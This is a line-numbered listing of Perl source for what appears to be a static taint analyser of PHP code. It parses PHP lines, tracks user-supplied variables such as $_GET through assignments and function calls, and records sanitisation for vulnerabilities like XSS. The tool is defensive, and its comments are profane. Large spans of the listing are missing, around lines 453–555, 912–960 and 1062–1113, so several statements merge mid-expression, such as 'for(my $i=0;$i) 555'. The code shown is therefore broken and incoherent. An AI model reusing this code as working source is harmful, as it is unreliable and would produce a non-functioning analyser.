$resolved_varname=&resolve_full_variable_namespace_path($varname); ## prepend namespace prefix if var is not global 373 | ## ADD GLOBALS SUPPORT TO RESOLVER 374 | $val=$resolved_varname if($varname eq $val); ## this is for proper function returns working 375 | my $variable_is_new=!&variable_exists($resolved_varname); 376 | ## tracking helpers: 377 | ## curr_line_tracked is an initial variable group identification, it can change here (for example $local="what".$local_ever.$TAINTED;) 378 | ## based on the right side identification 379 | my $right_side_tracked=&set_curr_line_tracked($val); ## this should be always set to some positive value unless there's pure constant value 380 | &trace_variable($varname); # if($right_side_tracked); 381 | my $varname_preg=&escape_varname_to_regex($varname); 382 | if($variable_is_new) 383 | { 384 | ## when matching, we cut off namespace prefix 385 | switch($curr_var_tracked) 386 | { 387 | ## right side tracked should be also examined in this place? 388 | case LOCAL_VAL 389 | { 390 | $tracked='local'; 391 | if(!&in_array($varname_preg,"@tracked_local_variables")) 392 | { 393 | #print "Pushing $varname_preg to locals\n"; 394 | push(@tracked_local_variables,$varname_preg); 395 | } 396 | } 397 | case TAINTED_VAL 398 | { 399 | $tracked='tracked'; 400 | if(!&in_array($varname_preg,"@tracked_variables")) 401 | { 402 | #print "Pushing $varname_preg to trackeds\n"; 403 | push(@tracked_variables,$varname_preg); 404 | } 405 | } 406 | ## no other situation can occur 407 | } # switch 408 | $new='new '; 409 | } 410 | ## comment this out to fix that fucking test 411 | if($sensitivity eq 'negative' &in_array($varname_preg,"@tracked_variables")&&$right_side_tracked!=TAINTED_VAL&&$pre_operator eq '') 412 | { 413 | #&logme("$varname REMOVED FROM tracked variables! ($val assigned)"); 414 | @tracked_variables=&remove_from_arr($varname_preg,"@tracked_variables"); 415 | } 416 | # ## we remove from locals only if variable went into tainted group, independently from the pre_operator val 417 | if(&in_array($varname_preg,"@tracked_local_variables")&&$right_side_tracked==TAINTED_VAL) #&&$pre_operator eq '' 418 | { 419 | #&logme("$varname MOVED FROM local variables to tracked variables ($val assigned)"); 420 | @tracked_local_variables=&remove_from_arr($varname_preg,"@tracked_local_variables"); 421 | $tracked='tracked'; 422 | push(@tracked_variables,$varname_preg) if(!&in_array($varname_preg,"@tracked_variables")); ## we have to remove those when function block ends, this will affect other functions, some false positives will rise from this 423 | } 424 | #print "[RIGHT SIDE TRACKED: $right_side_tracked, pre_operator: $pre_operator\n"; 425 | ###HISTORY MERGE GOES HERE (it doesn't matter if variable is new) 426 | ## secured{$vuln}{$resolved_varname} has to be, depending on the $val: 427 | ## - overwritten (if val equals to another variable or derivate, with preferring of least-secured history when multiple variables detected) [DONE] 428 | ## - erased, if $val is a constant (CURRENTLY NOT IMPLEMENTED - SHOULD BE ERASED THE SAME WAY) 429 | ## - ignored, if val is a function call (it's handled in other code section) 430 | ## previously there was also $pre_operator eq '' condition, now it's been removed 431 | # if there is an overwrite or append with value that is not secured within current namespace, it has to be merged here 432 | # only current namespace lines are in our field of interest 433 | my $trace_merge_done=0; 434 | if($right_side_tracked) ## get variable name to overwrite history with, only with rewrite! 435 | { 436 | foreach my $bug_group(@filtered_groups) 437 | { 438 | while($val=~/$variable_preg/g) 439 | { 440 | my $right_varname=$1; 441 | $right_varname=&resolve_full_variable_namespace_path($right_varname); 442 | if($right_varname ne $resolved_varname&&$trace_merge_done eq 0) 443 | { 444 | #print "Going to append $resolved_varname trace with $right_varname trace.\n"; 445 | $registered_variables_trace{$varname}=$registered_variables_trace{$varname}.$registered_variables_trace{$right_varname} if($registered_variables_trace{$right_varname} ne undef); 446 | $trace_merge_done=1; 447 | } 448 | if($secured{$bug_group}{$right_varname} eq undef||$secured{$bug_group}{$right_varname}{'permanent'} eq undef) 449 | { 450 | # erase, if there is anything to erase 451 | if($secured{$bug_group}{$resolved_varname}{'permanent'} ne undef) 452 | { 453 | for(my $i=0;$i) 555 | { 556 | $line='' if($line=~/^\s*#/); ## bash|perl style comment 557 | $line='' if($line=~/^\s*\/\//); ## C style comment 558 | while($line) 559 | { 560 | $line_copy=$line; 561 | chomp($line_copy); 562 | if($line=~/^(.+?);/) 563 | { 564 | $matched=$1; 565 | $line=substr $line,length($matched)+1,length($line); ## cutt it off 566 | &parse_line("$matched;",$file); 567 | my $line_clear=$line; 568 | $line_clear=~s/^\s*//; 569 | $line_clear=~s/\s*$//; 570 | $curr_local_virtual_line_number++ if(!$line_clear); 571 | } 572 | else 573 | { 574 | &parse_line($line,$file); 575 | $line=''; 576 | } 577 | } 578 | $line_number++; 579 | $curr_local_line_number++; 580 | $curr_local_virtual_line_number++; 581 | $global_line_number++; 582 | } 583 | $nested_includes--; 584 | pop(@parser_active); 585 | return $line_number; 586 | } 587 | ## PHP dentures 588 | sub dir_name 589 | { 590 | my $arg=shift; 591 | $arg=~s/^\.\///; 592 | $arg=~s/\.\.\///g; 593 | $arg=reverse $arg; 594 | if($arg=~/\//) 595 | { 596 | $arg=~s/^.*?(?=\/)//; ## remove file name 597 | } 598 | else 599 | { 600 | $arg=$project_dir; 601 | } 602 | return reverse $arg; 603 | } 604 | 605 | ## PARSER 606 | ## Following two methods are the this toy's core: parse_line and parse_expression, which together create poor imitation of PHP parser 607 | ## parse_line removes comments and splits lines if multiple semicolons are found 608 | ## and determines whether current line should be tracked (when one of tracked variables appears; list is appended in the real time) 609 | ## rest of work (all syntax related stuff, function calls, assignments, expressions and so on) is done by recurrent parse_expression function. 610 | 611 | sub parse_line 612 | { 613 | $line=shift; 614 | chomp($line); 615 | #$line_copy=$line; 616 | parser_activation: 617 | if($parser_active[$nested_includes]) 618 | { 619 | if($line=~/\?>/) 620 | { 621 | $parser_active[$nested_includes]=0; 622 | $line=~s/\?>//; 623 | goto parser_activation; 624 | } 625 | } 626 | else 627 | { 628 | if($line=~/<\?(php)?/i) 629 | { 630 | $parser_active[$nested_includes]=1; 631 | $line=~s/<\?(php)?//i; 632 | goto parser_activation; 633 | } 634 | } 635 | return '' if($parser_active[$nested_includes] eq 0); 636 | #&logme("[DEBUG] LINE PARSE FUNCTION CALL") if($debug_config{'CALL'}); 637 | if($line=~/\*\/\s*$/) 638 | { ## detection of multi-line comment closing 639 | $multi_line_comment=0; 640 | $line=~s/^\s*\*\///; 641 | } 642 | if($line=~/\s*\/\*/) 643 | { ## detection of multi-line comment opening 644 | $multi_line_comment=1; # /* */ 645 | } 646 | $line=~s/^\s*//; 647 | $line=~s/\s*$//; 648 | return '' if($line eq ''||$multi_line_comment); 649 | ## 650 | my $file=shift; 651 | chomp($file); 652 | my $line_number=shift; 653 | ### Here are all fucking 'language constructs' that acting like functions called without parenthesis, we replace them to parenthesis form, as they should be 654 | # remember to use $line_copy in the original report instead of $code 655 | my $fucked_construct=join("|",@php_function_like_language_constructs); 656 | my $check_preg='^('.$fucked_construct.')\s+[^\(]'; 657 | my $fix_preg='^('.$fucked_construct.')\s+'; 658 | if($line=~/$check_preg/i) 659 | { 660 | $line=~s/$fix_preg/$1\(/i; 661 | $line=~s/;$/\);/; 662 | } 663 | # backtick support 664 | $line=~s/(?=(\.\s*)?)`(.*?\$+.*?)`(?=\s*(\.|;))/shell_exec("$2")/g; 665 | # $line=~s/\(int\)/int\( how to catch the thing after cast operator, I mean a variable 666 | ## now we have to keep tracked_locals properly initialized 667 | @tracked_local_variables=(); 668 | @tracked_local_variables=@{$registered_functions{&get_curr_func_name()}{'params_simple'}} if(&get_curr_func_name() ne ''); 669 | $curr_line_tracked=&set_curr_line_tracked($line); 670 | $expression_line=$line; 671 | &parse_expression($line); 672 | } ## sub 673 | 674 | ## this method is intended to pull out only resolved variable names from the returned, parsed expression, to be used for returns values merging into secured history 675 | ## however, if there are constants, we don't return them unless there's nothing more than them (we prefer to return variables) 676 | sub cut_vars 677 | { 678 | my $string=shift; 679 | my @variables=(); 680 | my $const_val; 681 | # first, pull out all variable pregs 682 | my $preg="(\\w+::)*$variable_preg"; 683 | while($string=~/($preg)/g) 684 | { 685 | push(@variables,$1); ## this is fucked (no prefix returned) 686 | } 687 | return join(',',@variables) if(scalar(@variables)>0); 688 | # then pull out all constant pregs, if there are no variable pregs 689 | while($string=~/$function_call_preg/g) 690 | { 691 | my $params=$1; 692 | $string=$1; ## cut the fuck off the rest 693 | } 694 | return $string; ## not tested ;D 695 | } 696 | ## parse_expression DESCRIPTION 697 | ## detects function calls, constants and variables definition expressions 698 | ## 1. THERE HAVE BEEN DISTINGUISHED THREE GROUPS OF EXPRESSIONS: function calls, assignments and concatenations (expression evaluations) 699 | ## 2. resolved/evaluated expression value is returned as a string (for instance constants usage, like DATADIR."/file.php" when DATADIR is a constant 700 | ## every single type can recursively call another instance of this method which can operate again on any of those types 701 | ## parse_expression returns one of the following: 702 | ## ASSIGNMENTS -> returnsn right side evaluation 703 | ## EVALUATION -> resolved/concatenated value (code, constans or their mix) 704 | ## FUNCTION CALL -> returns code itself 705 | ## AFTER EACH CALL CURRENTLY PROCESSED PARTS ARE CUT OFF, ONE AFTER ANOTHER, SEQUENTIALLY 706 | sub parse_expression 707 | { 708 | # sleep(1); 709 | $nested_expressions++; 710 | my $code=shift; 711 | my $code_original=$code; 712 | #print "[EXPRESSION ($nested_expressions)] $code\n" if($debug_config{'EXPRESSION'}); 713 | #while($code=~/^\s*\(.*\)\s*$/) 714 | #{ 715 | # $code=~s/^\s*\(\s*//; ## get rid of optional parenthesis smothering expression 716 | # $code=~s/\s*\)\s*$//; 717 | #} 718 | # remove 719 | # spaces and other shit 720 | $code=~s/^\s*//; 721 | $code=~s/\s*$//; 722 | $code=~s/^;*$//; ## remove white characters and semicolons left from parent-call after subst, probably we'll rewrite it later anyway (added ^ dash at 15.11.2012 to learn it to catch interface definitions 723 | $code=~s/^\.?//g; ## optional concatenation dot (remember to check how assignment value supports concatenation to avoid collision) 724 | $code=~s/^\s*//; 725 | $code=~s/\s*$//; 726 | if(!$code) { $nested_expressions--; return '';} ## return empty on empty 727 | if($nested_expressions==$max_nested_expressions) 728 | { 729 | &logme("[ERROR] Max nested calls limit ($max_nested_expressions) reached, exiting.") if($debug_config{'ERROR'}); 730 | return; 731 | } 732 | my $left_side=shift; 733 | my $last_resolved_path; 734 | #&logme("[EXPRESSION] code:$code\n[EXPRESSION] left_side:$left_side"); 735 | my $return_met=0; 736 | if($code=~/^\s*return\s*/i&&scalar(@function_define_trace)>0) 737 | { 738 | $code=~s/^\s*return\s*//i; 739 | if($code=~/^\s*\(/) 740 | { 741 | $code=~s/^\s*\(\s*//; 742 | $code=~s/\s*\)\s*$//; 743 | } 744 | $return_met=1; 745 | } 746 | $left_side=&resolve_full_variable_namespace_path($left_side) if($left_side=~/^\$/); ## otherwise (if doesn't match to ^\$, it should be error reported and erased) 747 | 748 | ## if there's been made an assignment to the currently tracked left side variable, we know, to which one 749 | ## left side registration 750 | ## HOW DOES PARSE EXPRESSION WORK 751 | ## we always do return $comma.$return_expr.&parse_expression($postmatch); 752 | ## where $comma is a comma or empty value, $return_expr is resolved expression for the first current entity match, postmatch is what's left after first current match removal 753 | my $return_expr=''; 754 | my $comma=''; 755 | ## comma handling: 756 | if($code=~/^,/) { $comma=','; $code=~s/^,//;} ## we'll have to make it more elegant, this sucks a bit (there's a chance that this line can be removed ;D) 757 | ## IF/WHILE/FOR/SWITCH STATEMENTS NOT IMPLEMENTED 758 | 759 | ## FUNCTIONS DEFINITIONS DETECTION (FUNCTIONS REGISTRATION) 760 | if($code=~/$function_def_preg/i) 761 | { 762 | my $declaration_only=0; # introduction to tolerate interfaces (object code) 763 | my $def_operation='DEFINITION'; 764 | if($code=~/$function_dec_preg/i) 765 | { 766 | $def_operation='DECLARATION'; 767 | $declaration_only=1; 768 | } 769 | $curr_line_tracked=LOCAL_VAL; ## set kind of tracking line (loca variables in functions) 770 | my $f_name=$1; 771 | my $f_params=$2; 772 | &logme("[FUNCTION $def_operation] $f_name detected") if($debug_config{'FUNCTION_DEFINITION'}); 773 | my @f_params_arr=split(/\s*,\s*/,$f_params); 774 | my @f_params_complete=(); ## this array is also used for in-function definition params tracking, so we can attribute it later when real tracked variable is passed to this function through this parameter 775 | my @f_params_simple_tracked=(); 776 | my @globals=(); 777 | my @return_points=(); 778 | my $var_name; 779 | my $is_referenced; 780 | $f_name=&resolve_full_variable_namespace_path($f_name); 781 | if(!$declaration_only) 782 | { 783 | push(@function_define_trace,$f_name); 784 | push(@local_virtual_line_number,$curr_local_virtual_line_number); 785 | push(@local_line_number,$curr_local_line_number); 786 | $curr_local_virtual_line_number=$curr_local_line_number=1; 787 | } 788 | foreach my $f_param_arr_single(@f_params_arr) 789 | { 790 | $is_referenced=0; 791 | $var_name=''; 792 | my $default_value; 793 | if($f_param_arr_single=~/&?(\$\w+)(\s*=\s*(\w+))?/) ## default value possible 794 | { 795 | $var_name=$1; 796 | $is_referenced=1 if($f_param_arr_single=~/&/); 797 | $default_value=$3; 798 | $default_value='' if($default_value eq undef); 799 | push(@f_params_simple_tracked,&escape_varname_to_regex($var_name)); 800 | push(@f_params_complete,{'var_name'=>$var_name,'reference'=>$is_referenced,'preg'=>&escape_varname_to_regex($var_name)}); 801 | &logme("[FUNCTION DEFINITION] $file:$line_number - $f_name:&get_curr_func_name()}{'name'} $f_param_arr_single parameter ($var_name) is referenced: $is_referenced") if($debug_config{'FUNCTION_DEFINITION'}); 802 | ®ister_variable($var_name,$default_value); 803 | } 804 | else 805 | { 806 | &logme("[PARSE ERROR] in function definition $f_name, param: $f_param_arr_single does not look like a variable!") if($debug_config{'ERROR'}); 807 | } 808 | } 809 | if(!&user_defined_function_exists($f_name)) 810 | { 811 | $registered_functions{$f_name}{'file'}=$file; 812 | $registered_functions{$f_name}{'name'}=$f_name; 813 | $registered_functions{$f_name}{'open_brackets'}=$open_brackets_counter; 814 | $registered_functions{$f_name}{'params'}=\@f_params_complete; 815 | $registered_functions{$f_name}{'params_simple'}=\@f_params_simple_tracked; 816 | $registered_functions{$f_name}{'class'}=0; 817 | $registered_functions{$f_name}{'lines_overall'}=0; 818 | $registered_functions{$f_name}{'defined_on_line'}=$line_number; 819 | $registered_functions{$f_name}{'returns'}=\@return_points; 820 | $registered_functions{$f_name}{'globals'}=\@globals; 821 | ## return points contains expressions standing after return with resolved variable and function names 822 | ## they have to be resolved 823 | } 824 | if($declaration_only) 825 | { 826 | $code=~s/$function_dec_preg//i; 827 | } 828 | else 829 | { 830 | $code=~s/$function_def_preg//i; 831 | } 832 | $return_expr=$comma.&parse_expression($code,$left_side); 833 | $nested_expressions--; 834 | return $return_expr; 835 | } 836 | ## BRACKETS 837 | if($code=~/^\{/) 838 | { 839 | #&logme("[BRACKET OPEN: $code]"); 840 | $code=substr $code,2,length($code); 841 | $open_brackets_counter++; 842 | $return_expr=$comma.&parse_expression($code,$left_side); 843 | $nested_expressions--; 844 | push(@{$registered_functions{&get_curr_func_name()}{'returns'}},"$curr_local_virtual_line_number:".&cut_vars($return_expr)) if($return_met); 845 | return $return_expr; 846 | } 847 | if($code=~/^}/) 848 | { 849 | # &logme("[BRACKET CLOSE: $code]"); 850 | $code=substr $code,2,length($code); 851 | $open_brackets_counter--; 852 | ## clearing function-definition stack,flush tracked_local_variables pregs and declare stack 853 | if($open_brackets_counter eq $registered_functions{&get_curr_func_name()}{'open_brackets'}) 854 | { 855 | @tracked_local_variables=() if(&get_curr_func_name()); 856 | #&logme("[FUNCTION PARSER] - CLOSING ".$registered_functions{&get_curr_func_name()}{'name'}); 857 | $registered_functions{&get_curr_func_name()}{'lines_overall'}=>$line_number-$registered_functions{&get_curr_func_name()}{'defined_on_line'}; 858 | pop(@function_define_trace); 859 | my $last_curr_virtual_line_number=pop(@local_virtual_line_number); 860 | my $last_curr_local_line_number=pop(@local_line_number); 861 | $curr_local_virtual_line_number=$local_virtual_line_number[scalar(@local_virtual_line_number)-1]+$last_curr_virtual_line_number; 862 | $curr_local_line_number=$local_line_number[scalar(@local_line_number)-1]+$last_curr_local_line_number; 863 | $curr_line_tracked=LOCAL_VAL if(scalar(@function_define_trace)); 864 | } 865 | $return_expr=$comma.&parse_expression($code,$left_side); 866 | push(@{$registered_functions{&get_curr_func_name()}{'returns'}},"$curr_local_virtual_line_number:".&cut_vars($return_expr)) if($return_met); 867 | $nested_expressions--; 868 | return $return_expr; 869 | } 870 | 871 | ## ASSIGNMENTS 872 | if($code=~/$assignment_preg/) 873 | { 874 | my $match=$&; 875 | #&logme("[DEBUG] ASSIGNMENT detected") if($debug_config{'EXPRESSION'}); 876 | my $var_name=$1; 877 | $pre_operator=$5; 878 | my $right_side=&parse_expression($6,$var_name); 879 | #print "CALLING REG VAR $var_name$pre_operator=$right_side\n"; 880 | ®ister_variable($var_name,$right_side); 881 | 882 | ## recursively we identify right side's classification (calls/evaluations) 883 | ## second argument is the LEFT side, because we have to also know WHERE DOES THE RESULT GO FINALLY 884 | $nested_expressions--; 885 | &logme("[DEBUG] ASSIGNMENT $var_name=$right_side") if($debug_config{'EXPRESSION'}); 886 | $code=substr $code, length($match)+1,length($code); ## wyciecie macza 887 | $return_expr="$comma$var_name=$right_side".&parse_expression($code,$left_side); 888 | push(@{$registered_functions{&get_curr_func_name()}{'returns'}},"$curr_local_virtual_line_number:".&cut_vars($return_expr)) if($return_met); 889 | $nested_expressions--; 890 | return $return_expr; 891 | } 892 | ## 2 FUNCTION CALLS 893 | # function_call_detection_section: 894 | if($code=~/^$function_call_preg/) ### IT'S A FUNCTION CALL 895 | { 896 | ## with non bracket calls support constant expressions started to get here too 897 | #print "HOW THE FUCK $code is an f call?\n"; 898 | my $match=$&; ## HERE'S THE WHOLE INTERNAL EXPRESSION (THE FUCKING THING BETWEEN THE PARENTHESIS) 899 | my $called_function=lc($1); # lc - case insensitivity support 900 | my $call_params=$2; 901 | my $call_params_matchoff=$2; 902 | if($registered_functions{&resolve_full_variable_namespace_path($1)}) 903 | { 904 | $called_function=&resolve_full_variable_namespace_path($called_function); 905 | } 906 | ## end of checkups 907 | &logme("[CALL] $1 (preg:$function_call_preg)detected (curr_line_tracked:$curr_line_tracked), left_side: $left_side") if($debug_config{'CALL'}); 908 | 909 | my $call_params=''; 910 | my $bracket_count=0; 911 | my $bracket_met=0; 912 | for(my $i=0;$i THIS IMPACTS THE LEFT_SIDE BEHAVIOUR 960 | ## for each iteration after commas separation we need to estimate curr_line_tracked state again 961 | #if($curr_line_tracked) ## also internal, not neccesarily GLOBAL TRACKED variable, we just track it, cause it comes from parameters and we wait to merge it 962 | #{ 963 | push(@called_functions,$called_function) if(!&in_array_ci($called_function,"@called_functions")); 964 | push(@call_trace,$called_function); 965 | &logme("[CALL-TRACED] function:$called_function, params: $call_params, left side: $left_side") if($debug_config{'CALL'}); 966 | my @parsed_call_params=(); 967 | my $nested_decompose_calls=0; 968 | decompose_call_params: 969 | $nested_decompose_calls++; 970 | goto params_decomposed if($nested_decompose_calls eq 50); ## temporary safety break, it fucks sometimes 971 | $call_params=~s/^\s*//; 972 | $call_params=~s/\s*$//; 973 | goto params_decomposed if($call_params eq ''); 974 | ## CALL #0 975 | ## if(is_dir("dir/$_GET['sth']",trim(ucfirst("somepath".$_GET['sth2'])))) 976 | ## call_params initial: is_dir("dir/$_GET['sth']",trim(ucfirst("somepath".$_GET['sth2']))) 977 | ## prematch='' 978 | ## match=is_dir("dir/$_GET['sth']",trim(ucfirst("somepath".$_GET['sth2']))) 979 | ## @prematch_params=() 980 | ## @parsed_call_params=() # after push 981 | ## @parsed_call_params=(''); # after condition 982 | ## 983 | ## CALL #1 984 | ## 985 | ## CALL #0-back 986 | ## $parsed_call_params[0].=CALL #1 returned value 987 | my $param_match; 988 | my $param_prematch; 989 | if($call_params=~/$function_call_preg/) 990 | { 991 | #print "Another call detected.\n"; 992 | $param_prematch=$`; 993 | $param_match=$&; ## function call 994 | $param_prematch=&parse_expression($param_prematch,$left_side); 995 | } 996 | else 997 | { 998 | #print "HELLO HELLO $call_params\n"; 999 | ## a trick (parse it, so variables will be catched, but do not return it, since concatenation fucks up string removal 1000 | $param_prematch=$call_params; 1001 | $last_resolved_path=&parse_expression($call_params,$left_side); ## this is for concatenation purposes (includer and so on), this variable is not used in this parameter parsing 1002 | #print "RETURNED prematch: $param_prematch\n"; 1003 | $param_match=''; 1004 | } 1005 | ## if there are any commas, they have to be located in $prematch 1006 | my @prematch_params=split(/\s*,\s*/,$param_prematch); 1007 | push(@prematch_params,'') if($param_prematch=~/,$/); ## little split behavior fix :> 1008 | #print "[COMPOSER DEBUG] curr prematch ($param_prematch) params count: ".scalar(@prematch_params).", contents: @prematch_params\n"; 1009 | if(scalar(@parsed_call_params) ne 0) 1010 | { 1011 | #print "[COMPOSER DEBUG] appending last parsed_call_params element (".$parsed_call_params[scalar(@parsed_call_params)-1].") with ".$prematch_params[0]."\n"; 1012 | $parsed_call_params[scalar(@parsed_call_params)-1].=$prematch_params[0]; 1013 | shift(@prematch_params); 1014 | #print "[COMPOSER DEBUG] prematch params after shift: @prematch_params\n"; 1015 | ## remove the first element 1016 | } 1017 | push(@parsed_call_params,(@prematch_params)); 1018 | #print "[COMPOSER DEBUG] parsed_call_params after push of @prematch_params: @parsed_call_params\n"; 1019 | push(@parsed_call_params,'') if(scalar(@parsed_call_params) eq 0); 1020 | my $parsed_param_match=&parse_expression($param_match,$left_side); 1021 | #print "[COMPOSER DEBUG] appending last element of parsed_call_params with $parsed_param_match\n"; 1022 | $parsed_call_params[scalar(@parsed_call_params)-1].=$parsed_param_match; 1023 | ## now, remove (substr) the prematch and match from $curr_call_params 1024 | my $cutoff_index=1; 1025 | $cutoff_index++ if($param_match ne ''&&$param_prematch ne ''); 1026 | #print "[COMPOSER DEBUG] going to remove $param_prematch$param_match from $call_params (prematch:$param_prematch,match:$param_match)\n"; 1027 | ### OK, the only thing that is fucked is the index of cutoff 1028 | $call_params=substr $call_params, length($param_match)+$cutoff_index+length($param_prematch),length($call_params); ## match cutoff 1029 | #print "[COMPOSER DEBUG] done, call_params after shortening: $call_params\n"; 1030 | # sleep(1); 1031 | ## ok, we should be done ;] 1032 | $call_params=~s/^\s*//; 1033 | $call_params=~s/\s*$//; 1034 | goto decompose_call_params if($call_params ne ''); ## there is still work to do 1035 | params_decomposed: 1036 | #print "Params count: ".scalar(@parsed_call_params)."\n"; 1037 | #print "Params splitted: @parsed_call_params\n"; 1038 | 1039 | my $tracked_param_found=0; ## for anomalies detection (if none of the parameters was tracked warning is raised) 1040 | my $is_user_defined=0; 1041 | my $param_index=-1; ## for now it's fixed, for one parameter 1042 | 1043 | foreach my $curr_call_param(@parsed_call_params) 1044 | { 1045 | #print "Foreaching $curr_call_param, called function: $called_function\n(line_copy: $line_copy,\nline_number:$line_number, file:$file)\n"; 1046 | $param_index++; 1047 | my $params_tracked_variable=''; 1048 | my $params_tracked_variable_original=''; 1049 | my $passed_by_reference=0; 1050 | my $received_as_reference=0; 1051 | my $type_matched=0; ## this value will replace 'call_params_valuable', if 0, we deal with irrelevant parameter 1052 | my $local_param_name=''; ## declared name of user-defined function parameter 1053 | my $i=0; 1054 | #print "[DEBUG] call_params_separated: @call_params_separated, tracked_local_variables: @tracked_local_variables\n"; 1055 | foreach my $tracked_variable((@tracked_variables,@tracked_local_variables)) 1056 | { 1057 | next if(!$tracked_variable); 1058 | if($curr_call_param=~/($tracked_variable)/) ## \$_GET\['page'\] 1059 | { 1060 | $params_tracked_variable=$1; 1061 | $tracked_param_found=1; 1062 | if($i0) 1113 | { 1114 | $local_param_name=$called_function.'::'.$params[$param_index]{'var_name'}; ## let's assume a number if function is not defined yet 1115 | $received_as_reference=1 if($params[$param_index]{'reference'}); ## we have to remember to port this one when definition is discovered 1116 | #print "Local param name: $local_param_name\n"; 1117 | } 1118 | ## sanitization and final calls history merge takes place here 1119 | ## $params_tracked_variable->$local_param_name 1120 | ## [READY] 1121 | foreach my $filtered_group(@final_call_vulnerable_keys) 1122 | { 1123 | # This has sense only in one case: external variable is tainted and there is final call in internal param, to which external one is mapped 1124 | # therefore we propagate tainted property from external into internal variable's value, therefore making it visible as a bug 1125 | last if($local_param_name eq undef); 1126 | last if($local_param_name=~/^\s*$/); 1127 | my $final_call_vuln_curr_cnt=0; 1128 | $final_call_vuln_curr_cnt=scalar(@{$final_call_vulnerable{$filtered_group}{$local_param_name}}) if($final_call_vulnerable{$filtered_group}{$local_param_name} ne undef); 1129 | if($final_call_vulnerable{$filtered_group}{$local_param_name} ne undef) 1130 | { 1131 | for(my $i=0;$i<$final_call_vuln_curr_cnt;$i++) 1132 | { 1133 | my $code_trace=$registered_variables_trace{$params_tracked_variable}.$registered_variables_trace{$local_param_name}; 1134 | &set_final_call_vulnerable($filtered_group,$params_tracked_variable,$curr_local_virtual_line_number,$local_param_name,$final_call_vulnerable{$filtered_group}{$local_param_name}[$i]{'mapped_from_vline'},$final_call_vulnerable{$filtered_group}{$local_param_name}[$i]{'code'},$code_trace,$is_tainted,$final_call_vulnerable{$filtered_group}{$local_param_name}[$i]{'nullbyte'}); 1135 | } 1136 | } 1137 | } 1138 | foreach my $filtered_group(@filtered_groups) 1139 | { 1140 | last if($local_param_name eq undef); 1141 | last if($local_param_name=~/^\s*$/); 1142 | ## secured history merge has to work in both directions (external->internal and internal->external), BUT 1143 | ## internal->external have to be temporary (unless it's a reference) 1144 | ### Ok, first we secure the external variable if the local params mapped is secured inside its function and it's passed as a reference 1145 | foreach my $durability(@durabilities) 1146 | { 1147 | # first, internal->propagateTo(external) if reference 1148 | if($secured{$filtered_group}{$local_param_name}{$durability} ne undef) 1149 | { 1150 | &secure_var($filtered_group,$durability,$params_tracked_variable,$curr_local_virtual_line_number,'','') if($received_as_reference); 1151 | ### Now we propagate the security history of variable mapped from the parameter into the local variable 1152 | foreach my $secure_string(@{$secured{$filtered_group}{$local_param_name}{$durability}}) 1153 | { 1154 | #secure_var($bug_group,$durability,$mapped_from_varaddr,$mapped_from_vline,$mapped_to_varaddr,$mapped_to_vline) 1155 | my @secure_string_parts=split(',',$secure_string); 1156 | my $mapped_to_vline=$secure_string_parts[0]; 1157 | &secure_var($filtered_group,$durability,$params_tracked_variable,$curr_local_virtual_line_number,$local_param_name,$mapped_to_vline); 1158 | } 1159 | } 1160 | ## this has to occur only once for function call and should be places outside this foreach, but I'm not feeling like rebuilding it right now ;D 1161 | if($param_index eq 0) 1162 | { 1163 | #&logme("ok, shall we merge in all returns with the left side here? (left side: $left_side)"); 1164 | #print $registered_functions{$called_function}{'returns'}; 1165 | foreach my $return_instance(@{$registered_functions{$called_function}{'returns'}}) 1166 | { 1167 | $return_instance=~/(\d+):(.*)/; 1168 | my ($return_internal_line,$returned_value)=($1,$2); 1169 | #print "Return: $return_instance (checking for secured{$filtered_group}{$returned_value})\n"; ## instead of the simple string there has to be resolved local_param_name (it should be already afaik) 1170 | ## ok, for now it's just one return 1171 | ## this should not take place when returned_value is not an variable address 1172 | next if($secured{$filtered_group}{$returned_value} eq undef); 1173 | foreach my $secured_string((@{$secured{$filtered_group}{$returned_value}{'permanent'}},@{$secured{$filtered_group}{$returned_value}{'volatile'}})) 1174 | { 1175 | # print "$returned_value is secured from $filtered_group\n"; # I'm not sure this is currently supposed to work 1176 | if($left_side ne '') 1177 | { 1178 | #secure_var($bug_group,$durability,$mapped_from_varaddr,$mapped_from_vline,$mapped_to_varaddr,$mapped_to_vline) 1179 | &secure_var($filtered_group,'permanent',$left_side,$curr_local_virtual_line_number,'',''); 1180 | } 1181 | else 1182 | { 1183 | &secure_var($filtered_group,'volatile',$params_tracked_variable,$curr_local_virtual_line_number,'',''); 1184 | } 1185 | } 1186 | } ## end of foreach on returns 1187 | } ## end of if param_index eq 0 1188 | } # end of durability foreach 1189 | } # end of filtered group foreach 1190 | #next; 1191 | } ### user def 1192 | else 1193 | { 1194 | ## if we're here, we're dealing with unrecognized function call (probably PHP native) 1195 | # first, natives moved here from the alternative (curr_line_tracked=0) block 1196 | switch($called_function) 1197 | { 1198 | #case 'list' 1199 | #{ 1200 | # print "LIST CALL DETECTED on $curr_call_param\n"; 1201 | #} 1202 | case 'dirname' 1203 | { 1204 | my $subst=&parse_expression($curr_call_param,$left_side); 1205 | $subst=&dir_name($subst); 1206 | $code=substr $code, length($match)+1,length($code); ## match cutoff 1207 | $return_expr=$comma.$subst.&parse_expression($code,$left_side); 1208 | push(@{$registered_functions{&get_curr_func_name()}{'returns'}},"$curr_local_virtual_line_number:".&cut_vars($return_expr)) if($return_met); 1209 | $nested_expressions--; 1210 | pop(@call_trace); 1211 | return $return_expr; 1212 | } 1213 | case 'define' 1214 | { 1215 | my $tmp; 1216 | my $tmp2; 1217 | $tmp=$curr_call_param; 1218 | if($tmp=~/(.*?),\s*(.*)/) 1219 | { 1220 | $tmp=$1; 1221 | $tmp2=$2; 1222 | $tmp=~s/^('|")//; 1223 | $tmp=~s/("|')$//; 1224 | $tmp2=&parse_expression($tmp2); 1225 | &logme("[RESOLVED] $tmp->$tmp2") if($debug_config{'RESOLVE'}); 1226 | $registered_constants{$tmp}=$tmp2; 1227 | } 1228 | } 1229 | case 'global' 1230 | { 1231 | ## globalization support (not tested as far as I know) 1232 | if (&get_curr_func_name() ne ''&&$registered_functions{&get_curr_func_name()}{'globals'} ne undef) 1233 | { 1234 | # print $registered_functions{&get_curr_func_name()}{'globals'}."\n"; 1235 | push(@{$registered_functions{&get_curr_func_name()}{'globals'}},$1) if($curr_call_param=~/^$variable_preg/); 1236 | } 1237 | } 1238 | default : { &logme("[DEBUG] Unrecognized function call: $called_function") if($debug_config{'RESOLVE'}); } # this can easily be turned into reporting/detecting unknown functions with tainted args 1239 | } 1240 | ## FIRST, SECURE CALLS TRACING 1241 | ## IN THE FIRST PLACE, FLAW SPECIFIC 1242 | ## [ XSS ] 1243 | if(in_array($called_function,"@xss_filtering_functions")) 1244 | { 1245 | 